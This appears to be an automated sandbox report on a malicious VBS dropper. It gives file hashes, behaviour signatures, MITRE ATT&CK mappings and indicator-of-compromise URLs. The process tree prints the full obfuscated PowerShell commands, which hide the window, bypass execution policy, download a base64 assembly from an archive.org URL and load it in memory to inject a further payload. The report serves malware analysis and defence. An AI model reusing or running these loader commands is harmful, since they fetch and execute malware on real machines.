da78b6a3b5c884402e96f23552ee698fa93eeb0f3f2d5000c4eacceb3e0e9200

General

Target

da78b6a3b5c884402e96f23552ee698fa93eeb0f3f2d5000c4eacceb3e0e9200.vbs
Size

252KB
MD5

9503d35044eaa634d441efcd5f0426fb
SHA1

b201d07cbbd3050d66f1354585ab05751ff126ac
SHA256

da78b6a3b5c884402e96f23552ee698fa93eeb0f3f2d5000c4eacceb3e0e9200
SHA512

96a7bf85e9db2946d3b82b611a130030c569909ca4f9b4779cabe64be79e830afcdbb4246f3f7743abdd3a526195a022a07faf116b4df3556342e99a45bd2d62
SSDEEP

6144:fNApeDCCDlXetMRebQwWtUWBbd5dgufzibtf7q6dTe9:lApeDC2lXetMR6QRtrbd5KufziZ7Rda9

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1756	powershell.exe
22	1756	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2512	powershell.exe
1756	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2512	powershell.exe
2512	powershell.exe
1756	powershell.exe
1756	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	1756	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 968 wrote to memory of 2512	968	WScript.exe	82
PID 968 wrote to memory of 2512	968	WScript.exe	82
PID 2512 wrote to memory of 1756	2512	powershell.exe	84
PID 2512 wrote to memory of 1756	2512	powershell.exe	84

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\da78b6a3b5c884402e96f23552ee698fa93eeb0f3f2d5000c4eacceb3e0e9200.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezAnKyd9dScrJ3JsJysnID0gezEnKyd9aHR0cCcrJ3M6JysnLy9pYTYwJysnMDEwMC51cy5hcmNoaXZlJysnLm9yZy8nKycyNC9pdCcrJ2VtJysncy9kZXRhaC1ub3QnKydlLXYnKycvRGV0JysnYWhOb3RlJysnVi50eHR7MScrJ30nKyc7ezB9YmFzZTY0Q28nKydudGVudCAnKyc9ICgnKydOJysnZXctT2JqZWN0IFMnKyd5Jysnc3RlbS5OZXQuJysnV2UnKydiQ2xpJysnZW50KS5Eb3duJysnbG8nKydhZFMnKyd0cmknKyduJysnZycrJyh7MH11cmwpO3snKycwfScrJ2JpbmFyeUMnKydvbicrJ3RlbnQgPSAnKydbJysnU3lzdGVtLicrJ0MnKydvbnZlcnRdJysnOjpGcicrJ29tQmFzZScrJzY0U3RyaW5nKHswfWJhc2U2NEMnKydvbnRlbicrJ3QpO3snKycwfWEnKydzc2VtYmx5ID0gJysnWycrJ1InKydlJysnZicrJ2wnKydlY3RpJysnb24uQXMnKydzZW1iJysnbHldOjpMb2FkKHswfWJpJysnbmFyeUNvbicrJ3QnKydlJysnbnQnKycpO3swfXR5cCcrJ2UgPSB7MH0nKydhc3NlbWInKydseS5HZXRUeXBlJysnKHsxfVJ1bicrJ1BFLicrJ0hvbWV7MX0pOycrJ3swJysnfW1lJysndGhvZCA9IHswfXR5JysncGUuJysnRycrJ2V0TWV0JysnaG9kKCcrJ3snKycxfVZBJysnSXsxfSk7ezB9JysnbWV0JysnaCcrJ28nKydkLkludm9rZScrJyh7MH1udWxsLCBbbycrJ2InKydqZWN0JysnW10nKyddQCh7MX10JysneHQuJysnRUMnKydET0wvMCcrJzAnKycyLzAzLicrJzMyMi4zJysnLicrJzI5JysnMS8vOnAnKyd0dGh7MScrJ30gLCcrJyB7MX0nKydkZXNhdGknKyd2JysnYScrJ2QnKydvezF9ICcrJywgezF9ZGVzJysnYXRpdmFkbycrJ3snKycxfScrJyAsIHsxfScrJ2QnKydlc2EnKyd0aXZhJysnZCcrJ297JysnMX0sezEnKyd9UmVnQXNtezF9JysnLHsxJysnfXsnKycxfSknKycpJyktZltjSGFyXTM2LFtjSGFyXTM5KSB8IElFeA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0'+'}u'+'rl'+' = {1'+'}http'+'s:'+'//ia60'+'0100.us.archive'+'.org/'+'24/it'+'em'+'s/detah-not'+'e-v'+'/Det'+'ahNote'+'V.txt{1'+'}'+';{0}base64Co'+'ntent '+'= ('+'N'+'ew-Object S'+'y'+'stem.Net.'+'We'+'bCli'+'ent).Down'+'lo'+'adS'+'tri'+'n'+'g'+'({0}url);{'+'0}'+'binaryC'+'on'+'tent = '+'['+'System.'+'C'+'onvert]'+'::Fr'+'omBase'+'64String({0}base64C'+'onten'+'t);{'+'0}a'+'ssembly = '+'['+'R'+'e'+'f'+'l'+'ecti'+'on.As'+'semb'+'ly]::Load({0}bi'+'naryCon'+'t'+'e'+'nt'+');{0}typ'+'e = {0}'+'assemb'+'ly.GetType'+'({1}Run'+'PE.'+'Home{1});'+'{0'+'}me'+'thod = {0}ty'+'pe.'+'G'+'etMet'+'hod('+'{'+'1}VA'+'I{1});{0}'+'met'+'h'+'o'+'d.Invoke'+'({0}null, [o'+'b'+'ject'+'[]'+']@({1}t'+'xt.'+'EC'+'DOL/0'+'0'+'2/03.'+'322.3'+'.'+'29'+'1//:p'+'tth{1'+'} ,'+' {1}'+'desati'+'v'+'a'+'d'+'o{1} '+', {1}des'+'ativado'+'{'+'1}'+' , {1}'+'d'+'esa'+'tiva'+'d'+'o{'+'1},{1'+'}RegAsm{1}'+',{1'+'}{'+'1})'+')')-f[cHar]36,[cHar]39) | IEx"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qolb3gfh.0c5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1756-22-0x000002164BEB0000-0x000002164C0BC000-memory.dmp

Filesize
2.0MB

Download
memory/2512-0-0x00007FFBB62B3000-0x00007FFBB62B5000-memory.dmp

Filesize
8KB

Download
memory/2512-10-0x000001E5F22B0000-0x000001E5F22D2000-memory.dmp

Filesize
136KB

Download
memory/2512-11-0x00007FFBB62B0000-0x00007FFBB6D71000-memory.dmp

Filesize
10.8MB

Download
memory/2512-12-0x00007FFBB62B0000-0x00007FFBB6D71000-memory.dmp

Filesize
10.8MB

Download
memory/2512-23-0x00007FFBB62B3000-0x00007FFBB62B5000-memory.dmp

Filesize
8KB

Download
memory/2512-29-0x00007FFBB62B0000-0x00007FFBB6D71000-memory.dmp

Filesize
10.8MB

Download

Analysis

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